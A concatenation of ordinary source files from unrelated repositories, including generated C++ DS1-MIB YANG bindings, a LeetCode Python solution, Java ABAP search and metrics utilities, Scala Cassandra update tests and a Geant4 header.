segment_path) { if(child_yang_name == "dsx1ChanMappingEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry>(); ent_->parent = this; dsx1chanmappingentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1ChanMappingTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1chanmappingentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1ChanMappingTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1ChanMappingTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1ChanMappingTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1ChanMappingEntry") return true; return false; } DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::Dsx1ChanMappingEntry() : ifindex{YType::str, "ifIndex"}, dsx1ds1channelnumber{YType::str, "dsx1Ds1ChannelNumber"}, dsx1chanmappedifindex{YType::int32, "dsx1ChanMappedIfIndex"} { yang_name = "dsx1ChanMappingEntry"; yang_parent_name = "dsx1ChanMappingTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::~Dsx1ChanMappingEntry() { } bool DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::has_data() const { if (is_presence_container) return true; return ifindex.is_set || dsx1ds1channelnumber.is_set || dsx1chanmappedifindex.is_set; } bool DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(ifindex.yfilter) || ydk::is_set(dsx1ds1channelnumber.yfilter) || ydk::is_set(dsx1chanmappedifindex.yfilter); } std::string DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1ChanMappingTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1ChanMappingEntry"; ADD_KEY_TOKEN(ifindex, "ifIndex"); ADD_KEY_TOKEN(dsx1ds1channelnumber, "dsx1Ds1ChannelNumber"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (ifindex.is_set || is_set(ifindex.yfilter)) leaf_name_data.push_back(ifindex.get_name_leafdata()); if (dsx1ds1channelnumber.is_set || is_set(dsx1ds1channelnumber.yfilter)) leaf_name_data.push_back(dsx1ds1channelnumber.get_name_leafdata()); if (dsx1chanmappedifindex.is_set || is_set(dsx1chanmappedifindex.yfilter)) leaf_name_data.push_back(dsx1chanmappedifindex.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "ifIndex") { ifindex = value; ifindex.value_namespace = name_space; ifindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1Ds1ChannelNumber") { dsx1ds1channelnumber = value; dsx1ds1channelnumber.value_namespace = name_space; dsx1ds1channelnumber.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1ChanMappedIfIndex") { dsx1chanmappedifindex = value; dsx1chanmappedifindex.value_namespace = name_space; dsx1chanmappedifindex.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "ifIndex") { ifindex.yfilter = yfilter; } if(value_path == "dsx1Ds1ChannelNumber") { dsx1ds1channelnumber.yfilter = yfilter; } if(value_path == "dsx1ChanMappedIfIndex") { dsx1chanmappedifindex.yfilter = yfilter; } } bool DS1MIB::Dsx1ChanMappingTable::Dsx1ChanMappingEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "ifIndex" || name == "dsx1Ds1ChannelNumber" || name == "dsx1ChanMappedIfIndex") return true; return false; } const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::other {1, "other"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1ESF {2, "dsx1ESF"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1D4 {3, "dsx1D4"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1E1 {4, "dsx1E1"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1E1CRC {5, "dsx1E1CRC"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1E1MF {6, "dsx1E1MF"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1E1CRCMF {7, "dsx1E1CRCMF"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1Unframed {8, "dsx1Unframed"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1E1Unframed {9, "dsx1E1Unframed"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx1DS2M12 {10, "dsx1DS2M12"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineType::dsx2E2 {11, "dsx2E2"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1JBZS {1, "dsx1JBZS"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1B8ZS {2, "dsx1B8ZS"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1HDB3 {3, "dsx1HDB3"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1ZBTSI {4, "dsx1ZBTSI"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1AMI {5, "dsx1AMI"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::other {6, "other"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineCoding::dsx1B6ZS {7, "dsx1B6ZS"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendNoCode {1, "dsx1SendNoCode"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendLineCode {2, "dsx1SendLineCode"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendPayloadCode {3, "dsx1SendPayloadCode"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendResetCode {4, "dsx1SendResetCode"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendQRS {5, "dsx1SendQRS"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1Send511Pattern {6, "dsx1Send511Pattern"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1Send3in24Pattern {7, "dsx1Send3in24Pattern"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SendCode::dsx1SendOtherTestPattern {8, "dsx1SendOtherTestPattern"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1NoLoop {1, "dsx1NoLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1PayloadLoop {2, "dsx1PayloadLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1LineLoop {3, "dsx1LineLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1OtherLoop {4, "dsx1OtherLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1InwardLoop {5, "dsx1InwardLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LoopbackConfig::dsx1DualLoop {6, "dsx1DualLoop"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SignalMode::none {1, "none"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SignalMode::robbedBit {2, "robbedBit"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SignalMode::bitOriented {3, "bitOriented"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SignalMode::messageOriented {4, "messageOriented"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1SignalMode::other {5, "other"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1TransmitClockSource::loopTiming {1, "loopTiming"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1TransmitClockSource::localTiming {2, "localTiming"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1TransmitClockSource::throughTiming {3, "throughTiming"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineStatusChangeTrapEnable::enabled {1, "enabled"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1LineStatusChangeTrapEnable::disabled {2, "disabled"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1Channelization::disabled {1, "disabled"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1Channelization::enabledDs0 {2, "enabledDs0"}; const Enum::YLeaf DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1Channelization::enabledDs1 {3, "enabledDs1"}; } }
amanchadha/LeetCode
1441. Build an Array With Stack Operations/main.py
class Solution: def buildArray(self, target: List[int], n: int) -> List[str]: res = [] n = min(max(target), n) for i in range(1, n+1): if i in target: res += ["Push"] else: res += ["Push","Pop"] return res
stockbal/abap-search-tools-ui
com.devepos.adt.searchandanalysistools.ui/src/com/devepos/adt/saat/internal/search/SearchParameterFactory.java
package com.devepos.adt.saat.internal.search; import java.text.MessageFormat; import com.devepos.adt.base.ui.AdtBaseUIResources; import com.devepos.adt.base.ui.IAdtBaseImages; import com.devepos.adt.base.ui.project.IAbapProjectProvider; import com.devepos.adt.saat.internal.SearchAndAnalysisPlugin; import com.devepos.adt.saat.internal.messages.Messages; import com.devepos.adt.saat.internal.util.IImages; /** * Factory for creating parameters for the Object Search * * @author stockbal */ public class SearchParameterFactory { /** * Creates description parameter * * @return the created parameter instance */ public static ISearchParameter createDescriptionParameter() { return new SearchParameter(QueryParameterName.DESCRIPTION, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionDescriptionParameter_xmsg, QueryParameterName.DESCRIPTION.getLowerCaseKey(), "*material*"), //$NON-NLS-1$ SearchAndAnalysisPlugin.getDefault().getImage(IImages.DESCRIPTION_PARAM), true, true, true); } /** * Creates parameter for restricting CDS View search results to CDS View that * have (not) parameters * * @return the created parameter instance */ public static ISearchParameter createHasParameterParameter() { return new BooleanSearchParameter(QueryParameterName.HAS_PARAMS, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionParamsParameter_xmsg, QueryParameterName.HAS_PARAMS.getLowerCaseKey(), "true"), //$NON-NLS-1$ SearchAndAnalysisPlugin.getDefault().getImage(IImages.PARAMETER_PARAM)); } /** * Creates parameter for restricting CDS View search results to CDS Views with a * certain parameter * * @return the created parameter instance */ public static ISearchParameter createCdsParamParameter() { return new SearchParameter(QueryParameterName.CDS_PARAMETER, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionParamParameter_xmsg, QueryParameterName.CDS_PARAMETER.getLowerCaseKey(), "p_plant"), //$NON-NLS-1$ SearchAndAnalysisPlugin.getDefault().getImage(IImages.PARAMETER_PARAM), true, true, true); } /** * Creates search parameter for CDS types * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createCdsTypeParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.TYPE, NamedItemType.CDS_TYPE, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionCdsTypeParameter_xmsg, QueryParameterName.TYPE .getLowerCaseKey(), "function")); //$NON-NLS-1$ parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.TYPE_PARAM)); parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates search parameter for table types * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createTableTypeParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.TYPE, NamedItemType.TABLE_TYPE, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionTableTypeParameter_xmsg, QueryParameterName.TYPE .getLowerCaseKey(), "table")); //$NON-NLS-1$ parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.TYPE_PARAM)); // parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates search parameter for Class Category * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createClassCategoryParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.CATEGORY, NamedItemType.CLASS_CATEGORY, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionClassCategoryParameter_xmsg, QueryParameterName.CATEGORY.getLowerCaseKey())); parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.FOLDER)); parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates search parameter for ABAP Language Version * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createAbapLanguageParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.ABAP_LANGUAGE, NamedItemType.ABAP_CLASS_LANGUAGE, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionAbapLangParameter_xmsg, QueryParameterName.ABAP_LANGUAGE.getLowerCaseKey())); parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.ABAP_VERSION)); parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates search parameter for Class types * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createClassTypeParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.TYPE, NamedItemType.CLASS_TYPE, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionClassTypeParameter_xmsg, QueryParameterName.TYPE .getLowerCaseKey())); parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.TYPE_PARAM)); parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates search parameter for Class Flags (e.g. "Is Abstract") * * @param projectProvider provider for ABAP Project * @return the created parameter instance */ public static ISearchParameter createClassFlagParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.FLAG, NamedItemType.CLASS_FLAG, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionFlagParameter_xmsg, QueryParameterName.FLAG .getLowerCaseKey())); parameter.setImage(SearchAndAnalysisPlugin.getDefault().getImage(IImages.ENABLED_CHECKBOX)); parameter.setSupportsNegatedValues(true); return parameter; } /** * Creates parameter for restricting search to classes with a given "global * friend" * * @return the created parameter instance */ public static ISearchParameter createFriendParameter() { return new SearchParameter(QueryParameterName.FRIEND, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionFriendParameter_xmsg, QueryParameterName.FRIEND .getLowerCaseKey()), SearchAndAnalysisPlugin.getDefault().getImage(IImages.FRIEND), true, true, true); } /** * Creates parameter for restricting search to classes with a given "Super * Class" * * @return the created parameter instance */ public static ISearchParameter createSuperTypeParameter() { return new SearchParameter(QueryParameterName.SUPER_TYPE, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionSuperTypeParameter_xmsg, QueryParameterName.SUPER_TYPE.getLowerCaseKey()), SearchAndAnalysisPlugin.getDefault() .getImage(IImages.SUPER_TYPE), true, true, true); } /** * Creates parameter for restricting search to classes/interfaces that implement * certain interfaces * * @return the created parameter instance */ public static ISearchParameter createInterfaceParameter() { return new SearchParameter(QueryParameterName.INTERFACE, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionInterfaceParameter_xmsg, QueryParameterName.INTERFACE.getLowerCaseKey()), SearchAndAnalysisPlugin.getDefault() .getImage(IImages.INTERFACE), true, true, true); } /** * Creates parameter for restricting search to classes/interfaces that have * certain methods * * @return the created parameter instance */ public static ISearchParameter createMethodParameter() { return new SearchParameter(QueryParameterName.METHOD, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionMethodParameter_xmsg, QueryParameterName.METHOD .getLowerCaseKey()), SearchAndAnalysisPlugin.getDefault().getImage(IImages.METHOD), true, true, true); } /** * Creates parameter for restricting search to classes/interfaces that have * certain attributes * * @return the created parameter instance */ public static ISearchParameter createAttributeParameter() { return new SearchParameter(QueryParameterName.ATTRIBUTE, MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionAttributeParameter_xmsg, QueryParameterName.ATTRIBUTE.getLowerCaseKey()), SearchAndAnalysisPlugin.getDefault() .getImage(IImages.ATTRIBUTE), true, true, true); } public static ISearchParameter createDeliveryClassParameter( final IAbapProjectProvider projectProvider) { final NamedItemParameter parameter = new NamedItemParameter(projectProvider, QueryParameterName.DELIVERY_CLASS, NamedItemType.TABLE_DELIVERY_CLASS, true, ""); //$NON-NLS-1$ parameter.setDescription(MessageFormat.format( Messages.SearchPatternAnalyzer_DescriptionDeliveryClassParameter_xmsg, QueryParameterName.DELIVERY_CLASS.getLowerCaseKey())); parameter.setImage(AdtBaseUIResources.getImage(IAdtBaseImages.TRANSPORT)); parameter.setSupportsNegatedValues(true); return parameter; } }
urbanairship/datacube
src/main/java/com/urbanairship/datacube/metrics/Metrics.java
package com.urbanairship.datacube.metrics; import com.codahale.metrics.Counter; import com.codahale.metrics.Gauge; import com.codahale.metrics.Histogram; import com.codahale.metrics.JmxReporter; import com.codahale.metrics.Meter; import com.codahale.metrics.Metric; import com.codahale.metrics.MetricFilter; import com.codahale.metrics.MetricRegistry; import com.codahale.metrics.Timer; import java.util.SortedMap; import java.util.concurrent.Callable; import java.util.concurrent.TimeUnit; /** * A Singleton for a MetricsRegistry. Use of this mechanism is not strictly necessary * in application space. It's here for consistency within this library and as a * convenience but applications may create simple instances of {@link MetricRegistry} * objects at their whim. * * This class also exposes simple pass through statics for static imports against a single * class if desired. */ public final class Metrics { private Metrics() { //no instances } private static final MetricRegistry registry = new MetricRegistry(); //UA default is to use MS for durations and rates so we configure that here //The reporter can be accessed or the registry can be reported on using //another private static final JmxReporter reporter = JmxReporter.forRegistry(registry) .convertDurationsTo(TimeUnit.MILLISECONDS) .convertRatesTo(TimeUnit.SECONDS) .createsObjectNamesWith(new ObjectNameFactoryImpl()) .build(); static { reporter.start(); } public static MetricRegistry getRegistry() { return registry; } public static JmxReporter getReporter() { return reporter; } public static MetricNameDetails name(Class clazz, String name) { return MetricNameDetails.newBuilder() .setGroup(clazz.getPackage() == null ? "" : clazz.getPackage().getName()) .setType(clazz.getSimpleName().replaceAll("\\$$", "")) .setName(name) .build(); } public static MetricNameDetails name(Class clazz, String name, String scope) { return MetricNameDetails.newBuilder() .setGroup(clazz.getPackage() == null ? "" : clazz.getPackage().getName()) .setType(clazz.getSimpleName().replaceAll("\\$$", "")) .setName(name) .setScope(scope) .build(); } public static MetricNameDetails name(String group, String type, String name) { return MetricNameDetails.newBuilder() .setGroup(group) .setType(type) .setName(name) .build(); } public static Meter meter(MetricNameDetails nameDetails) { return registry.meter(nameDetails.getFormattedJmxName()); } public static Meter meter(Class clazz, String name) { return meter(name(clazz, name)); } public static Meter meter(Class clazz, String name, String scope) { return meter(name(clazz, name, scope)); } public static Counter counter(MetricNameDetails nameDetails) { return registry.counter(nameDetails.getFormattedJmxName()); } public static Counter counter(Class clazz, String name) { return counter(name(clazz, name)); } public static Counter counter(Class clazz, String name, String scope) { return counter(name(clazz, name, scope)); } public static Histogram histogram(MetricNameDetails nameDetails) { return registry.histogram(nameDetails.getFormattedJmxName()); } public static Histogram histogram(Class clazz, String name) { return histogram(name(clazz, name)); } public static Histogram histogram(Class clazz, String name, String scope) { return histogram(name(clazz, name, scope)); } public static Timer timer(MetricNameDetails nameDetails) { return registry.timer(nameDetails.getFormattedJmxName()); } public static Timer timer(Class clazz, String name) { return timer(name(clazz, name)); } public static Timer timer(Class clazz, String name, String scope) { return timer(name(clazz, name, scope)); } public static <T> void gauge(MetricNameDetails nameDetails, Gauge<T> impl) { final String newGaugeName = nameDetails.getFormattedJmxName(); SortedMap<String, Gauge> found = registry.getGauges(new MetricFilter() { @Override public boolean matches(String name, Metric metric) { return newGaugeName.equals(name); } }); if (found.isEmpty()) { registry.register(newGaugeName, impl); } } /** * This doesn't make a ton of sense given the above but it will * likely be cleaner in Java8. Also avoids having to catch an exception * in a Gauge implementation. */ public static <T> void gauge(MetricNameDetails nameDetails, final Callable<T> impl) { gauge(nameDetails, new Gauge<T>() { @Override public T getValue() { try { return impl.call(); } catch (Exception ex) { throw new RuntimeException(ex); } } }); } public static <T> void gauge(Class clazz, String name, Gauge<T> impl) { gauge(name(clazz, name), impl); } public static <T> void gauge(Class clazz, String name, String scope, Gauge<T> impl) { gauge(name(clazz, name, scope), impl); } }
dimagilg/commcare-hq
corehq/util/workbook_reading/adapters/raw_data.py
<filename>corehq/util/workbook_reading/adapters/raw_data.py from corehq.util.workbook_reading import Cell, Worksheet from corehq.util.workbook_reading.exceptions import SpreadsheetFileInvalidError def make_worksheet(rows=None, title=None): rows = rows or [] row_lengths = [len(row) for row in rows] if any(row_length != row_lengths[0] for row_length in row_lengths): raise SpreadsheetFileInvalidError("Rows must be all the same length") def iter_rows(): for row in rows: yield [Cell(value) for value in row] return Worksheet(title=title, max_row=len(rows), iter_rows=iter_rows)
jaspervz/phantom
phantom-finagle/src/test/scala/com/outworkers/phantom/finagle/query/prepared/PreparedUpdateQueryTest.scala
<gh_stars>0 /* * Copyright 2013 - 2019 Outworkers Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.outworkers.phantom.finagle.query.prepared import com.outworkers.phantom.PhantomSuite import com.outworkers.phantom.finagle._ import com.outworkers.phantom.tables.Recipe import com.outworkers.util.samplers._ class PreparedUpdateQueryTest extends PhantomSuite with TwitterFutures { override def beforeAll(): Unit = { super.beforeAll() val _ = database.recipes.createSchema() } it should "execute a prepared update query with a single argument bind" in { val updated = genOpt[ShortString].map(_.value) val query = database.recipes.update .where(_.url eqs ?) .modify(_.description setTo ?) .prepare() val recipe = gen[Recipe] val chain = for { _ <- database.recipes.store(recipe).future() get <- database.recipes.select.where(_.url eqs recipe.url).one() _ <- query.bind(updated, recipe.url).future() get2 <- database.recipes.select.where(_.url eqs recipe.url).one() } yield (get, get2) whenReady(chain) { case (initial, afterUpdate) => initial shouldBe defined initial.value shouldEqual recipe afterUpdate shouldBe defined afterUpdate.value.url shouldEqual recipe.url afterUpdate.value.props shouldEqual recipe.props afterUpdate.value.ingredients shouldEqual recipe.ingredients afterUpdate.value.servings shouldEqual recipe.servings afterUpdate.value.lastCheckedAt shouldEqual recipe.lastCheckedAt afterUpdate.value.uid shouldEqual recipe.uid afterUpdate.value.description shouldEqual updated } } it should "execute an asynchronous prepared update query with a single argument bind" in { val updated = genOpt[ShortString].map(_.value) val recipe = gen[Recipe] val chain = for { query <- database.recipes.update.where(_.url eqs ?).modify(_.description setTo ?).prepareAsync() _ <- database.recipes.store(recipe).future() get <- database.recipes.select.where(_.url eqs recipe.url).one() _ <- query.bind(updated, recipe.url).future() get2 <- database.recipes.select.where(_.url eqs recipe.url).one() } yield (get, get2) whenReady(chain) { case (initial, afterUpdate) => initial shouldBe defined initial.value shouldEqual recipe afterUpdate shouldBe defined afterUpdate.value.url shouldEqual recipe.url afterUpdate.value.props shouldEqual recipe.props afterUpdate.value.ingredients shouldEqual recipe.ingredients afterUpdate.value.servings shouldEqual recipe.servings afterUpdate.value.lastCheckedAt shouldEqual recipe.lastCheckedAt afterUpdate.value.uid shouldEqual recipe.uid afterUpdate.value.description shouldEqual updated } } it should "execute a prepared update query with a three argument bind" in { val updated = genOpt[ShortString].map(_.value) val updatedUid = gen[UUID] val query = database.recipes.update .where(_.url eqs ?) .modify(_.description setTo ?) .and(_.uid setTo ?) .prepare() val recipe = gen[Recipe] val chain = for { _ <- database.recipes.store(recipe).future() get <- database.recipes.select.where(_.url eqs recipe.url).one() _ <- query.bind(updated, updatedUid, recipe.url).future() get2 <- database.recipes.select.where(_.url eqs recipe.url).one() } yield (get, get2) whenReady(chain) { case (initial, afterUpdate) => { initial shouldBe defined initial.value shouldEqual recipe afterUpdate shouldBe defined afterUpdate.value.url shouldEqual recipe.url afterUpdate.value.props shouldEqual recipe.props afterUpdate.value.ingredients shouldEqual recipe.ingredients afterUpdate.value.servings shouldEqual recipe.servings afterUpdate.value.lastCheckedAt shouldEqual recipe.lastCheckedAt afterUpdate.value.uid shouldEqual updatedUid afterUpdate.value.description shouldEqual updated } } } it should "execute an async prepared update query with a three argument bind" in { val updated = genOpt[ShortString].map(_.value) val updatedUid = gen[UUID] val recipe = gen[Recipe] val chain = for { query <- database.recipes .update .where(_.url eqs ?) .modify(_.description setTo ?) .and(_.uid setTo ?) .prepareAsync() _ <- database.recipes.store(recipe).future() get <- database.recipes.select.where(_.url eqs recipe.url).one() _ <- query.bind(updated, updatedUid, recipe.url).future() get2 <- database.recipes.select.where(_.url eqs recipe.url).one() } yield (get, get2) whenReady(chain) { case (initial, afterUpdate) => initial shouldBe defined initial.value shouldEqual recipe afterUpdate shouldBe defined afterUpdate.value.url shouldEqual recipe.url afterUpdate.value.props shouldEqual recipe.props afterUpdate.value.ingredients shouldEqual recipe.ingredients afterUpdate.value.servings shouldEqual recipe.servings afterUpdate.value.lastCheckedAt shouldEqual recipe.lastCheckedAt afterUpdate.value.uid shouldEqual updatedUid afterUpdate.value.description shouldEqual updated } } }
lborrel/Offline
Mu2eG4/inc/constructTargetPS.hh
<gh_stars>1-10 #ifndef Mu2eG4_constructTargetPS_hh #define Mu2eG4_constructTargetPS_hh // // Free function to create Production Target // // // Original author <NAME> // // G4 includes #include "Geant4/G4ThreeVector.hh" #include "Geant4/G4RotationMatrix.hh" namespace mu2e { class VolumeInfo; class SimpleConfig; void constructTargetPS(VolumeInfo const & parent, SimpleConfig const & _config); } #endif /* Mu2eG4_constructTargetPS_hh */
popldo/yggdrash
yggdrash-node/src/test/java/io/yggdrash/node/api/AdminApiImplTest.java
